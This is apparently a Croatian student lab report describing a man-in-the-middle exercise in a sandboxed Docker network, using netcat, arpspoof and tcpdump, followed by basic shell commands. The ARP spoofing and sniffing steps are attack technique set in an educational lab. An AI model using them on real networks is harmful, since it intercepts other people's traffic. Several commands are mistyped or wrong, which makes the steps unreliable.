# Izvještaj za 1. laboratorijske vježbe

## Zadatak

Izvršiti man in the middle napad u virtualnoj Docker mreži.

## Korišteni kod

Kloniranje repozitorija sa GitHuba

```
$ git clone [https://github.com/mcagalj/SRP-2021-22](https://github.com/mcagalj/SRP-2021-22)
```

Pokretanje docker containera

```
$ ./start.sh
```

Zaustavljanje docker containera

```
$ ./stop.sh
```

Pokretanje interaktivnog shella u station-1

```
$ docker ps exec -it sh
```

Dohvaćanje podataka o mrežnom interfaceu

```
$ ipconfig -a
```

*Dobivamo podatke (IP i Ethernet adresu koju ćemo dalje koristiti)*

Pingamo station-2 kako bi saznali nalazi li se na istoj mreži

```
$ ping station-2
```

Pokretanje interaktivnog shella u station-2

```
$ docker ps exec -it station-2 sh
```

U station-1 pomoću netcata otvaramo TCP scoket na portu 9000

```
$ netcat -l -p 9000
```

U station-2 pomocu netcata otvaramo client TCP socket na hostnameu station-1 9000

```
$ netcat station-2 9000
```

Pokretanje interaktivnog shella u evil-station

```
$ docker ps exec -it evil-station sh
```

U evil-station pokrećemo arpspoof

```
$ arpspoof -t station-1 station-2
```

*Stationu-1 se predstavljamo kao station-2 povezivanjem ethernet adrese evil-stationa sa IP adresom station-2*

Pokrećemo tcpdump u evil-stationu, te filtriramo promet

```
$ tcpdump -X host station-1 and not arp
```

Zaustavljamo prosljeđivanje presretanog prometa stationu-2

```
$ echo 0 > /proc/sys/net/ipv4/ip_forward
```

# Pomoćne komande

Windows Subsystem for Linux

wsl

Pokazuje file path foldera u kojem se trenutno nalazimo

pwd

Mijenjanje foldera u kojem se nalazimo

cd[ime foldera]

Ime operativnog sustava

uname

Izlistavanje sadržaja foldera

dir

Stvaranje novog foldera

mkdir [ime foldera]

Pokazuje gdje se trenutno nalazimo s terminalom

hostname